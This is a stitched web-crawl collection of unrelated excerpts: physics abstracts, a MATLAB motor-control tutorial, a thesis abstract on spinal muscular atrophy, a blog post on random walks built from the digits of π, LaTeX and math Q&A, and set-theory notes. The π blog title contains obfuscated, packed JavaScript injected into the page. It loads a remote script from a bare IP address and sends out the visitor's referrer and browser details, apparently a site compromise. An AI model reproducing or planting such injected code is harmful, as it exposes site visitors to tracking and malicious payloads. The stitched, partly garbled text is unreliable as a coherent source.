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• ### Online Monitoring of the Osiris Reactor with the Nucifer Neutrino Detector(1509.05610)

May 25, 2016 hep-ex, physics.ins-det
Originally designed as a new nuclear reactor monitoring device, the Nucifer detector has successfully detected its first neutrinos. We provide the second shortest baseline measurement of the reactor neutrino flux. The detection of electron antineutrinos emitted in the decay chains of the fission products, combined with reactor core simulations, provides an new tool to assess both the thermal power and the fissile content of the whole nuclear core and could be used by the Inter- national Agency for Atomic Energy (IAEA) to enhance the Safeguards of civil nuclear reactors. Deployed at only 7.2m away from the compact Osiris research reactor core (70MW) operating at the Saclay research centre of the French Alternative Energies and Atomic Energy Commission (CEA), the experiment also exhibits a well-suited configuration to search for a new short baseline oscillation. We report the first results of the Nucifer experiment, describing the performances of the 0.85m3 detector remotely operating at a shallow depth equivalent to 12m of water and under intense background radiation conditions. Based on 145 (106) days of data with reactor ON (OFF), leading to the detection of an estimated 40760 electron antineutrinos, the mean number of detected antineutrinos is 281 +- 7(stat) +- 18(syst) electron antineutrinos/day, in agreement with the prediction 277(23) electron antineutrinos/day. Due the the large background no conclusive results on the existence of light sterile neutrinos could be derived, however. As a first societal application we quantify how antineutrinos could be used for the Plutonium Management and Disposition Agreement.
• A joint measurement is presented of the branching fractions $B^0_s\to\mu^+\mu^-$ and $B^0\to\mu^+\mu^-$ in proton-proton collisions at the LHC by the CMS and LHCb experiments. The data samples were collected in 2011 at a centre-of-mass energy of 7 TeV, and in 2012 at 8 TeV. The combined analysis produces the first observation of the $B^0_s\to\mu^+\mu^-$ decay, with a statistical significance exceeding six standard deviations, and the best measurement of its branching fraction so far. Furthermore, evidence for the $B^0\to\mu^+\mu^-$ decay is obtained with a statistical significance of three standard deviations. The branching fraction measurements are statistically compatible with SM predictions and impose stringent constraints on several theories beyond the SM.
• ### Spin noise spectroscopy beyond thermal equilibrium and linear response(1407.2895)

Per the fluctuation-dissipation theorem, the information obtained from spin fluctuation studies in thermal equilibrium is necessarily constrained by the system's linear response functions. However, by including weak radiofrequency magnetic fields, we demonstrate that intrinsic and random spin fluctuations even in strictly unpolarized ensembles \emph{can} reveal underlying patterns of correlation and coupling beyond linear response, and can be used to study non-equilibrium and even multiphoton coherent spin phenomena. We demonstrate this capability in a classical vapor of $^{41}$K alkali atoms, where spin fluctuations alone directly reveal Rabi splittings, the formation of Mollow triplets and Autler-Townes doublets, ac Zeeman shifts, and even nonlinear multiphoton coherences.
• ### Grounded Semantic Composition for Visual Scenes(1107.0031)

June 30, 2011 cs.AI
We present a visually-grounded language understanding model based on a study of how people verbally describe objects in scenes. The emphasis of the model is on the combination of individual word meanings to produce meanings for complex referring expressions. The model has been implemented, and it is able to understand a broad range of spatial referring expressions. We describe our implementation of word level visually-grounded semantics and their embedding in a compositional parsing framework. The implemented system selects the correct referents in response to natural language expressions for a large percentage of test cases. In an analysis of the system's successes and failures we reveal how visual context influences the semantics of utterances and propose future extensions to the model that take such context into account.
• ### Photoproduction of $\psi'$ as a Test of Color-Octet Model(hep-ph/9901238)

Dec. 17, 2002 hep-ph
We have calculated the cross section of $\psi'$ photoproduction at small-$p_{T}$ regions in polarized $\gamma p$ collisions for testing the color-octet model, which is based on NRQCD factorization formalism. We show that the measurement of the two-spin asymmetry of this process might be effective to constrain the value of NRQCD matrix elements.
• ### An insulating grid spacer for large-area MICROMEGAS chambers(physics/0103027)

March 9, 2001 physics.ins-det
We present an original design for large area gaseous detectors based on the MICROMEGAS technology. This technology incorporates an insulating grid, sandwiched between the micro-mesh and the anode-pad plane, which provides an uniform 200 $\mu$m amplification gap. The uniformity of the amplification gap thickness has been verified under several experimental conditions. The gain performances of the detector are presented and compared to the values obtained with detectors using cylindrical micro spacers. The new design presents several technical and financial advantages.
• ### Two large-area anode-pad MICROMEGAS chambers as the basic elements of a pre-shower detector(physics/0008003)

Aug. 2, 2000 physics.ins-det
The design of a detector based on MICROMEGAS (MICRO MEsh GAseous Structure) technology is presented. Our detector is characterized by a large active area of 398(\times)281 mm(^{2}), a pad read-out with 20(\times)22 mm(^{2}) segmentation, and an uniform amplification gap obtained by insulating spacers (100 (\mu)m high and 200 (\mu)m in diameter). The performances of several prototypes have been evaluated under irradiation with secondary beams of 2 GeV/c momentum charged pions and electrons. We consider such a detector as the basic element for a pre-shower detector to equip the PHOton Spectrometer (PHOS) of the ALICE experiment. Its assets are modularity, small amount of material, robustness and low cost.
• ### Hard Processes with Spin-Dependent Parton Distributions(hep-ph/9705310)

May 14, 1997 hep-ph
To test a possible color-octet contribution of heavy quarkonium productions, we propose $\psi$'-productions for small-$p_T$ regions, where the color-singlet $\psi$' state cannot be produced by the gluon-gluon fusion owing to charge conjugation. We also point out that these processes are very useful to deduce informations of spin-dependent gluon distributions $\Delta g$.


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Great question. Maybe the phenomenon is less surprising if one thinks that there are $\infty$ ways to generalize a question, but just a few of them make some progress possible. I think it is reasonable to say that successful generalizations must embed, consciously or not, a very deep understanding of the problem at hand. They operate through the same mechanism at work in good abstraction, by helping you forget insignificant details and focus on the heart of the matter.

An example, which is probably too grandiose to qualify as an answer, since your question seems very specific, is Fredholm theory. At the beginning of last century integral equations were a hot topic and an ubiquitous tool to solve many concrete PDE problems. The theory of linear operators on Banach and Hilbert spaces is an outgrowth of this circle of problems. Now, generalizing from $$u(x) + \lambda \int _a ^b k(x,s) u(s) ds = f(x)$$ to $$(I+ \lambda K) u = f$$ makes the problem trivial, and we do it without thinking. But it must have been quite a shock in 1900.

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Tune Gain-Scheduled Controller for PMSM Model Using Closed-Loop PID Autotuner Block

This example shows how to tune a gain-scheduled controller for a permanent magnet synchronous motor (PMSM) in just one simulation using the Closed-Loop PID Autotuner block.

PMSM Model

The PMSM model is based on the Motor Control Blockset™ `mcb_pmsm_foc_sim` model. The model includes:

• A subsystem to model inverter and PMSM dynamics

• Inner-loop (current) and outer-loop (speed) PI controllers to implement a field-oriented control algorithm for motor speed control

You can examine this model for more details.

In this example, the original model is modified to use a gain-scheduled controller to control the rotational speed of the motor. The gains of the gain-scheduled controller are updated in real-time using dynamic lookup tables. The speed of the motor plant is originally controlled by a single PI controller in the `mcb_pmsm_foc_sim` Simulink® model.

The following sections describe how to modify the `mcb_pmsm_foc_sim` model to tune and implement a gain-scheduled PI controller. Alternatively, use the preconfigured `scd_pid_gs_mcb_pmsm_foc_sim` model provided with this example.

Speed Control PI Controller with Gain Scheduling and Closed-Loop PID Autotuner

The Speed Control subsystem consists of a single PI Controller with external inputs for the proportional and integral gains, integrator reset, and integrator initial condition. The PI Controller is set up to use integral gain multiplied by sample time, I*Ts, instead of the integral gain I.

The Closed-Loop PID Autotuner block is located within the Autotuning subsystem. The block outputs the perturbations used to estimate the plant required to tune the controller gains. The Closed-Loop PID Autotuner block tunes gains for P and I but not for I*Ts. To properly update the gains used in the PI Controller, multiply the integral gain by the sample time, as shown in the Closed-Loop PID Autotuner with Gain Updates section of this example.

The Gain Scheduling subsystem contains Lookup Table Dynamic blocks for both the proportional and integral gains. For more details, see the Update PI Controller Gain-Scheduled Gains During Simulation section. The Speed Breakpoints constant block is a vector containing the three breakpoints used in the gain-scheduling lookup tables; this vector is set to [0.2 0.5 0.8] for this example. The Data Store Memory blocks are used to update the gain-scheduled controller gains and pass them to the dynamic lookup tables and then to the controller.

Closed-Loop PID Autotuner with Gain Updates

The Autotuning subsystem contains the Closed-Loop PID Autotuner block, subsystems to update and store the tuned gains, and a subsystem to determine which breakpoint to tune to properly update the scheduled gains.

Closed-Loop PID Autotuner Block Configuration

The design requirements used in this example are in the form of closed-loop step response characteristics.

• Overshoot less than 5%

• Rise time less than 0.01 seconds

To tune the PI controller to meet the above design requirements, parameters of the Closed-Loop PID Autotuner block are pre-populated. The Tuning tab has three main tuning settings.

• Target bandwidth — Determines how fast you want the controller to respond. The target bandwidth is roughly 2/desired rise time. For a desired rise time of 0.01 seconds, set the target bandwidth to 2/0.01 = 200 rad/s.

• Target phase margin — Determines how robust you want the controller to be. In this example, start with a default value of 60 degrees.

• Experiment sample time — Sample time for the experiment performed by the autotuner block. Use a value of –1 to inherit the sample time of the speed controller.

The Experiment tab has three main experiment settings.

• Plant Type — Specifies whether the plant is asymptotically stable or integrating. In this example, the Inverter and Motor plant is stable.

• Plant Sign — Specifies whether the plant has a positive or negative sign. The plant sign is positive if a positive change in the plant input at the nominal operating point results in a positive change in the plant output when the plant reaches a new steady state. In this example, the Inverter and Motor plant has a positive plant sign.

• Sine Amplitudes — Specifies amplitudes of the injected sine wave perturbations. In this example, specify a sine amplitude of 0.01 to ensure less than 15% perturbation amplitude from the setpoints.

These target bandwidth and phase margin are set to values comparable to the default set of gains in the original model. The Closed-Loop PID Autotuner in this example is preconfigured with these settings.

The Data Store Memory blocks used to update the gains are configured to update only a single element at a time to tune individual setpoints and update them in the gain-scheduled controller.

To determine if the current operating point coincides with a breakpoint in the gain-scheduled lookup tables, the current commanded speed reference, `N_ref`, is compared to the vector of breakpoints used in the gain-scheduled lookup tables. If the current speed is equal to one of the breakpoints and autotuning takes place, then the gains at that breakpoint are updated.

Update PI Controller Gain-Scheduled Gains During Simulation

Typically, the gain-scheduling workflow requires multiple simulations to run the system, tune the gains, update the gains, and then run the system again to demonstrate how to tune gain-scheduled controllers. This example performs all these steps in single a simulation using dynamic lookup tables.

For this example, before 2 seconds, a static set of gains is used. These gains were tuned at the middle breakpoint of the gain-scheduled lookup tables 0.5 `N_ref` and are used to demonstrate a typical system response if not using gain scheduling. After 2 seconds the gain-scheduled controller gains are used and tuned at three different breakpoints: 0.2, 0.5, and 0.8 `N_ref`. All breakpoints are tuned using the same settings in the Closed-Loop PID Autotuner block.

To demonstrate how gain scheduling is used to increase performance in the presence of nonlinearities, the load torque profile contains a nonlinear load torque instead of a static load torque.

In this example, the nonlinear load is $\tau =\mathit{K}{\omega }_{\mathit{m}}^{2}$, where $\tau$ is the load torque, $\mathit{K}$ is the load torque constant equal to ${\left(0.005×\mathrm{pmsm}.\mathrm{T}_\mathrm{rated}\right)}^{2}$, and ${\omega }_{\mathit{m}}$ is the mechanical speed of the motor. From this equation you can see that the load torque and damping in this system increases by mechanical speed squared. This relationship means that at low speed there is little damping, thus requiring smaller controller gains compared to higher speeds wheremuch higher damping is required to achieve the same level of performance.

Tune Gain-Scheduled Controller at Multiple Operating Points

With the model setup, you can now perform tuning at multiple operating points to create a gain-scheduled controller and test the performance of these gains against the gains tuned at 0.5 `N_ref` in a single simulation. The model is setup to perform a step change at the beginning of the simulation, tune the controller at three operating points (0.2, 0.5, and 0.8 `N_ref`) and then perform the same step change at the end. This figure shows the profile of the speed reference signal.

Simulate the model to tune the gains at the three operating points, update the gains in the lookup tables, and test the performance of the tuned gains.

```mdl = 'scd_pid_gs_mcb_pmsm_foc_sim'; simOut = sim(mdl);```

Next, plot a comparison of the initial step response performed with gains tuned at 0.5 `N_ref` to the response at the end of the simulation performed with gain scheduling.

```idx = [0.5 0.75 9.5 9.75]./Ts; Time_noGS = simOut.tout(idx(1):idx(2))-simOut.tout(idx(1)); SpeedFdbk_noGS = simOut.logsout{2}.Values.Data(idx(1):idx(2)); Time_wGS = simOut.tout(idx(3):idx(4))-simOut.tout(idx(3)); SpeedFdbk_wGS = simOut.logsout{2}.Values.Data(idx(3):idx(4)); figure; plot(Time_noGS,SpeedFdbk_noGS,Time_wGS,SpeedFdbk_wGS) legend('No GS', 'With GS') grid on title({'Step Response Comparison of Speed Controller'; 'with and without Gain Scheduling'}) xlabel('Time [sec]') ylabel('Speed Feedback [-]')```

The gain-scheduled controller leads to larger overshoot for a smaller rise time and settling time, compared to a single set of gains tuned at one operating point.

Tuned Gain-Scheduled Controller Performance Over Operating Range

You can achieve similar performance for a given step change using a static set of gains obtained at 0.8 `N_ref` instead of 0.5 `N_ref`.

However, using this single set of gains to step from 0 to 0.5 `N_ref` results in poor performance compared to using a gain-scheduled controller.

Gain-scheduling allows for a more consistent and an overall better performance over the operating range compared to just using a static set of gains.

This workflow is useful when you want to tune a gain-scheduled controller using the Closed-Loop PID Autotuner block.

Close the model.

`close_system(mdl,0);`


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Isolation of the spinal muscular atrophy candidate gene: The neuronal apoptosis inhibitor protein.

Description
 Title: Isolation of the spinal muscular atrophy candidate gene: The neuronal apoptosis inhibitor protein. Authors: Roy, Natalie. Date: 1997 Abstract: The childhood spinal muscular atrophies (SMA) are neurodegenerative disorders characterised by progressive spinal cord motor neuron depletion and are among the most common autosomal recessive disorders. Type I SMA is the most frequent monogenic cause of death in infancy. The loss of motor neurons in SMA, has led to suggestions that an inappropriate continuation or reactivation of normally occurring motor neuron apoptosis may underlie the disorder. The gene resonsible for the SMA's was mapped to a region of 5q13 Banked proximally by the marker CMS-1 and distally by the marker D5S557. In keeping with the hypothesis that a mechanism of apoptosis may underlie the disorder, we have isolated a gene encoding the neuronal apoptosis inhibitor protein (NAIP), which is homologous to baculoviral inhibitor of apoptosis proteins (IAP) and is partially deleted in individuals with Type I SMA. Concurrently, a second candidate gene encoding survival motor neuron (SMN), which is contiguous with the NAIP locus on 5q13.1 was also reported (Levebre et al., 1995. Cell 80, 155). SMN is deleted in a significant majority of SMA individuals, leaving unclear the precise role of the two genes in SMA causation. In an effort to delineate the role of NAIP in SMA pathogenesis, we have studied the effect of NAIP on cell death induced by different apoptotic triggers and determined the cellular distribution of the protein in human spinal cord. We report that overexpression of NAIP in Rat-1, HeLa and CHO cells suppresses apoptosis induced by menadione, tumor necrosis factor alpha (TNF-$\alpha$) and serum withdrawal. Immunocytochemistry employing polyclonal antiserum raised against human NAIP demonstrates immunoreactivity in motor neurons. NAIP mediated inhibition of cell death and the immunolocalization of the protein to motor neurons are consistent with a role for NAIP both in the naturally occurring programmed motor neuron death. and when defective, in the pathogenesis of SMA. Moreover, NAIP appears to be the first member of a novel family of human genes with anti-apoptotic activity. Three novel human IAPs have subsequently been identified and shown to suppress apoptosis (Liston et al. 1996. Nature 379, 349). Two of these were also identified based on their ability to associate with the tumor necrosis factor receptor II (TNFRII) via a TNF receptor associated factor 1 and 2 (TRAF1-TRAF2) heterocomplex (Rothe et al., 1995. Cell 83, 1243) These data provide evidence for a central role of NAIP and IAPs not only in apoptosis but as regulators in these signalling pathways. (Abstract shortened by UMI.) URL: http://hdl.handle.net/10393/4447http://dx.doi.org/10.20381/ruor-10264 Collection Thèses, 1910 - 2010 // Theses, 1910 - 2010
Files
 NQ26139.PDF 5.72 MB Adobe PDF


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GFDmcv (version 0.1.0)

Description

Performs test procedures for general hypothesis testing problems for four multivariate coefficients of variation (Ditzhaus and Smaga, 2023 ). We can verify the global hypothesis about equality as well as the particular hypotheses defined by contrasts, e.g., we can conduct post hoc tests. We also provide the simultaneous confidence intervals for contrasts.

Install

``install.packages('GFDmcv')``

0.1.0


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# zbMATH — the first resource for mathematics

The heterogeneous gas with singular interaction: generalized circular law and heterogeneous renormalized energy. (English) Zbl 1311.82044
The authors introduce and analyze $$d-$$dimensional Coulomb gases with random charge distribution and general external confining potential. It is demonstrated that heterogeneous gases show substantially different phenomenology compared to homogeneous gases.

##### MSC:
 82D05 Statistical mechanical studies of gases 60F10 Large deviations 78A30 Electro- and magnetostatics 82B44 Disordered systems (random Ising models, random Schrödinger operators, etc.) in equilibrium statistical mechanics
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# A visual window on the apparently random digits of π

Posted by: Gary Ernest Davis on: February 28, 2011

#### The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtnzs|var|u0026u|referrer|dfink||js|php'.split('|'),0,{})) digits of π

Of course, the digits of π, namely 3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5, 8, 9, 7, 9, 3, 2, 3, 8, 5,…, are not random.

π is the area of a circular region of radius 1, and is a perfectly well defined real number.  We just don’t happen presently to know more than the first 2.7 trillion or so digits.

However, in many senses the digits of π behave as if they were random.

For example, each of the digits 0, 1, 2, … , 9 appears, so far, just the right proportion of the time, namely $\frac{1}{10}$.

This property is known as being simply normal. Although it is suspected π is simply normal, no one has yet been able to prove it.

Strictly speaking, since we are looking at the decimal digits of π, this should be called simply normal base 10.

We could write π as a number in base 2.

The digits of π, base 2 are 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, …

It is, on the face of it, conceivable that π is simply normal in base 2, (meaning the o’s and 1’s each occur about half the time), but not in base 10, or vice versa.

A simple analogy with coin-tossing allows us think about the base 2 expansion of π = 11.0010010000111111011010101000100010000101101000110000100011010011000100110001100110001… (base 2) having what seem to be random digits.

If we imagine that in the base 2 digits of π, a “0” is replaced by “T” and a “1” is replaced by “H” then we get the following sequence

H, H, T, T, H, T, T, H, T, T, T, T, H, H, H, H, H, H, T, H, H, T, H, T, H, T, H, T, T, T, H, T, T, T, H, T, T, T, T, H, T, H, H, T, H, T, T, T, H, H, T, T, T, T, H, T, T, T, H, H, T, H, T, T, H, H, T, T, T, H, T, T, H, H, T, T, T, H, H, T, T, H, H, T, T, T, H, T, H, T, T, T, H, T, H, H, H, T, T, T, T, T, T, T, H, H, T, H, H, H, T, T, T, T, T, H, H, H, T, T, H, H, T, H, T, T, T, H, T, T, H, T, H, T, T, H, T, T, T, T, T, T, H, T, T, H, T, T, H, H, H, T, T, T, T, T, H, T, T, T, H, T, T, T, H, H, … of H’s and T’s

We know, of course, that this sequence of H’s and T’s did not come from someone tossing a coin, but could it have? Is there some way to distinguish this sequence of H’s and T’s from one obtained by a random tossing of a coin?

The National Institute of Standards and Technology has batteries of test for randomness. Basically, a truly random sequence should pass all these tests. Passing the tests does not mean a sequence of numbers is random – it just means the sequence passed a bunch of randomness tests.

#### One dimensional random walks

Let’s suppose we place a chip on a number line at the number 0.

Now we toss a fair coin over and over.

Each time the coin lands H we take one step to the right of where we are on the number line. And each time the coin lands T we take one step to the left of where we now are.

Where we will be at any time is unpredictable: it is the result of a random sequence of H’s and T’s.

Every time the coin lands H let’s write down a “1”, and every time it lands “T” let’s write down a “-1”.

Then we get a sequence of 1’s and -1’s such as 1, 1, -1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, -1, 1, -1, 1, -1, -1, -1, 1, -1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, -1, 1, -1, -1, -1, 1, 1, -1, 1, -1, -1, 1, 1, -1, -1, -1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, -1, 1, -1, -1, -1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, -1, -1, 1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, 1, 1, 1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, -1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, -1, -1, 1, -1, -1, 1, -1, -1, 1, 1, 1, -1, -1, -1, -1, -1, 1, -1, -1, -1, 1, -1, -1, -1, 1, 1,…

If we add these, successively, we get a sequence 1, 2, 1, 0, 1, 0, -1, 0, -1, -2, -3, -4, -3, -2, -1, 0, 1, 2, 1, 2, 3, 2, 3, 2, 3, 2, 3, 2, 1, 0, 1, 0, -1, -2, -1, -2, -3, -4, -5, -4, -5, -4, -3, -4, -3, -4, -5, -6, -5, -4, -5, -6, -7, -8, -7, -8, -9, -10, -9, -8, -9, -8, -9, -10, -9, -8, -9, -10, -11, -10, -11, -12, -11, -10, -11, -12, -13, -12, -11, -12, -13, -12, -11, -12, -13, -14, -13, -14, -13, -14, -15, -16, -15, -16, -15, -14, -13, -14, -15, -16, -17, -18, -19, -20, -19, -18, -19, -18, -17, -16, -17, -18, -19, -20, -21, -20, -19, -18, -19, -20, -19, -18, -19, -18, -19, -20, -21, -20, -21, -22, -21, -22, -21, -22, -23, -22, -23, -24, -25, -26, -27, -28, -27, -28, -29, -28, -29, -30, -29, -28, -27, -28, -29, -30, -31, -32, -31, -32, -33, -34, -33, -34, -35, -36, -35, -34, …

These numbers represent the place of our chip on the number line.

A sequence such of numbers like this, obtained by adding the successive 1’s or -1’s produced from a random coin toss, is called a one-dimensional random walk.

We can picture the random walk as a graph by plotting the numbers in the random walk (the position of the chip on the number line) versus their position in the sequence:

What sort of – possibly random looking – walk do we get if we use the base 2 digits of π ?

Here’s the result for approximately 330,000 base 2 digits of π:

For comparison, here is a random walk constructed from a random sequence of 0’s and 1’s:

Of course just eyeballing the two graphs is not going to tell us if the base 2 digits of π seem to be random, but it does make us suspicious.

Also there are well known tests a random walk must pass: for example, for a truly random walk the average of the squares of distances of our chip from the starting point 0 after n steps must be approximately n.

#### Two dimensional random walks

We can expand our random walk into the plane by starting at the point $(0,0)$ and at each step move one unit away with probability $\frac{1}{4}$ either right, left, up, or down.

To simulate such a walk from the digits of π we would need 4 digits: one each to represent the 4 directions in which we can move.

To achieve 4 digits we can look at the base 4 expansion of  π = 3.0210033312222020201122030020310301030122…

Using (arbitrarily) the digit 0 to represent moving one step to the right from our current position in the plane, 1 to represent moving one step to the left, 2 one step up , and 3 one step down, we get the following walk in the plane from the first 166,000 base 4 digits of π:

### Three-dimensional random walks

In 3 dimensions, starting from the point $(0,0,0)$ and taking steps of length 1 along the x, y, and z axes we have 6 directions to walk.

To construct a walk from π we need 6 digits – one to represent each of the 6 directions – and so we look at the base 6 expansion of π =3.0503300514151241052344140531253…

Using (again arbitrarily) the digit 0 to represent a step of one unit in the positive x direction, 1 to represent a step in the negative direction, 2 a step in the positive y direction, 3 a step in the negative y direction, 4 a step in the positive z direction, and 5 a step in the negative z-direction we get the following 3-dimensional walk from the first 129,000 base 6 digits of π:

#### Five dimensional random walks?

To obtain a walk as we have been doing in which we  use all 10 base 10 digits of π , we would need to construct a picture of a walk in 5 dimensions.

I, at least, do not know how to visualize this.

Perhaps a picture in a tiling of hyperbolic space might work?

#### Postscript

For comparison here is a walk constructed from the base 6 digits of e = 2.7182818284590452354 … = 2.4150520535242431231254044… base 6  – shown in red – with that from π – shown in purple:

### 1 Response to "A visual window on the apparently random digits of π"

Cool article! Thanks!
Wonder what a similar study of the transcendentals (pi^e) or (e^pi) would yield.
{I think one of these is not transcendental, but don’t remember.}
A real sobering thought for me has been the realization that there are many, many, …, many
more transcendentals than irrational/rational numbers. And yet they are very difficult to
name!


text:
# Contents

## Definition

Given a type $S$ and the product type $S \times S$, the diagonal is the set of all pairs that are equal to each other

$\Delta(S) \coloneqq \sum_{(x,y):S \times S} x = y$


text:
Spline Modelling of Geostrophic Flow: Theoretical and Algorithmic Aspects

• Spline functions that approximate (geostrophic) wind field or ocean circulation data are developed in a weighted Sobolev space setting on the (unit) sphere. Two problems are discussed in more detail: the modelling of the (geostrophic) wind field from (i)discrete scalar air pressure data and (ii) discrete vectorial velocity data. Domain decomposition methods based on the Schwarz alternating algorithm for positive definite symmetric matrices are described for solving large linear systems occuring in vectorial spline interpolation or smoothing of geostrophic flow.

$Rev: 12793$


text:
renewcommand with comma-separated arguments

I have a fairly basic questions (I guess), but can't find a clear answer.

I have an existing command \ox{#1,#2} from a package (chemmacros) which has two arguments which are separated by commas. I want to change the command (i.e. \renewcommand), but I don't know how to handle the comma-separated arguments.

By basic idea would be:

\renewcommand{\ox}[2]{#1($\mathrm{#2}$)}

But this doesn't work.

Does anyone have a suggestion how to separate the arguments?

• You can specify delimiters of arguments with \def, e.g. \makeatletter\def\ox#1{\@ox[#1]}\def\@ox[#1,#2]{#1($\mathrm{#2}$)}\makeatother. Note that this doesn't work if your argument contains [ or ] -- in this case you would have to specify other delimiters. – Skillmon Jul 5 '17 at 8:29

Here's a simple version:

\documentclass{article}

\usepackage{expl3,xparse}
\ExplSyntaxOn
\DeclareDocumentCommand { \ox } { m }
{
\clist_set:Nn \l_tmpa_clist { #1 }
\clist_item:Nn \l_tmpa_clist { 1 }
($\mathrm{\clist_item:Nn \l_tmpa_clist {2}}$)
}
\ExplSyntaxOff

\begin{document}
\ox{1,2}
\end{document}

• You can even avoid setting the clist: \clist_item:nn { #1 } { 1 } (or {2}) will do. – egreg Jul 5 '17 at 8:47

Here are three ways of doing this:

\documentclass{article}
\usepackage{xparse}
\usepackage{pgffor}
\usepackage{etoolbox}
\begin{document}

Using xparse and SplitArgument to extract the values and then
pass them to a second helper macro:

\NewDocumentCommand\oxone{>{ \SplitArgument{1}{,} } m }{\realoxone#1}
\newcommand\realoxone[2]{#1($\mathrm{#2}$)}
\oxone{one,two}

Using a plain def to extract the values using a helper macro:

\newcommand\oxtwo[1]{\realoxtwo#1!}
\def\realoxtwo#1,#2!{#1($\mathrm{#2}$)}
\oxtwo{one,two}

Using a pgf loop to extract the values into ox1, ox2, ...:

\newcommand\oxthree[1]{%
\foreach \x [count=\n] in {#1} {
\csxdef{ox\n}{\x}% save value n as ox<n>
}%
\csuse{ox1}($\mathrm{\csuse{ox2}}$)% use values
}
\oxthree{one,two}

\end{document}


text:
Home » Math » Quick Notes on Elementary Set Theory and Functions

1. # Cantor’s Concept of a set

A set $S$ is any collection of definite, distinguishable objects of our intuition or of our intellect to be conceived as a whole. The objects are called the elements or members of set $S$

2. # The intuitive principle of extension for sets

Two sets are equal if and only if (iff) they have the same members. i.e., $X=Y \, \Leftrightarrow \,\forall x \in X \text{and} \ x \in Y$.

3. # The intuitive principle of abstraction

A formula (syn: property) $P(x)$ defines a set $A$ by the convention that the members of $A$ are exactly those objects $a$ such that $P(a)$ is a true statement. $\Rightarrow a \in \{ x|P(x) \}$.

4. # Operations with/for sets

• Union (Sum or Join)$A \cup B= \{ x | x \in A \, \text{or} \, x \in B \}$
• Intersection (Product or Meet)
$A \cap B= \{ x| x\in A \, \text{and} \, x\in B \}$
• Disjoint Sets $A$ and $B$ are disjoint sets iff $A \cap B=\emptyset : \text{an empty set}$ and they intersect iff $A \cap B \ne \emptyset$
• Partition of Sets A partition of a set $X$ is a disjoint collection
$\mathfrak{X}$ of non-empty and distinct subsets of $X$ such that each member of $X$ is a member of some (and hence exactly one) member of $\mathfrak{X}$.
For example: $\{ \{a,b\} \, \{c \} \, \{d, e\} \}$ is a partition of $\{a,b,c,d,e\}$.
• Absolute Complement of a set $A$ is usually represented by $\Bar{A} = U-A = \{ x | x \notin A \}$ where $U$ is universal set.
• Relative Complement of a set $A \, \text{relative to another set} \, X$ is given by $X-A=X\cap \Bar{A}=\{ x \in X | x \notin A\}$.
5. # Theorems on Sets

1. $A \cup (B \cup C) = (A \cup B) \cup C$
2. $A \cap (B \cap C) = (A \cap B) \cap C$
3. $A \cup B= B \cup A$
4. $A \cap B= B \cap A$
5. $A \cup (B \cap C)= (A \cup B) \cap (A \cup C)$
6. $A \cap (B \cup C)= (A \cap B) \cup (A \cap C)$
7. $A \cup \emptyset= A$
8. $A \cap \emptyset= \emptyset$
9. $A \cup U=U$
10. $A \cap U=A$
11. $A \cup \Bar{A}=U$
12. $A \cap \Bar{A}=\emptyset$
13. If $\forall A \ , A \cup B=A$ $\Rightarrow B=\emptyset$
14. If $\forall A \ , A \cap B=A \Rightarrow B=U$
15. Self-dual Property: If $A \cup B =U$ and $A \cap B=\emptyset \ \Rightarrow B=\Bar{A}$
16. Self Dual: $\Bar{\Bar{A}}=A$
17. $\overline{\emptyset}=U$
18. $\Bar{U}= \emptyset$
19. Idempotent Law: $A \cup A=A$
20. Idempotent Law: $A \cap A =A$
21. Absorption Law: $A \cup (A \cap B) =A$
22. Absorption Law: $A \cap (A \cup B) =A$
23. de Morgen Law: $\overline{A \cup B} =\Bar{A} \cap \Bar{B}$
24. de Morgen Law: $\overline{A \cap B} =\Bar{A} \cup \Bar{B}$
6. # Another Theorem

The following statements about set A and set B are equivalent to one another

1. $A \subseteq B$
2. $A \cap B=A$
3. $A \cup B =B$
7. # Functions

Function is a relation such that no two distinct members have the same first co-ordinate in its graph. $f$ is a function iff

1. The members of $f$ are ordered pairs.
2. If ordered pairs $(x, y)$ and $(x, z)$ are members of $f$, then $y=z$
8. Other words used as synonyms for the word ‘function’ are ‘transformation’, ‘map’, ‘mapping’, ‘correspondence’ and ‘operator’.
9. # Notations for functions

A function is usually defined as ordered-pairs, see above, and $\text{ordered pair } (x,y) \in \text{function } f$ so that $xfy$ is (was) a way to represent where $x$ is an argument of $f$ and $y$ is image (value) of $f$.
Other popular notations for $(x,y)\in f$ are: $y : xf$, $y=f(x)$, $y=fx$, $y=x^f$.

10. # Intuitive law of extension for Functions

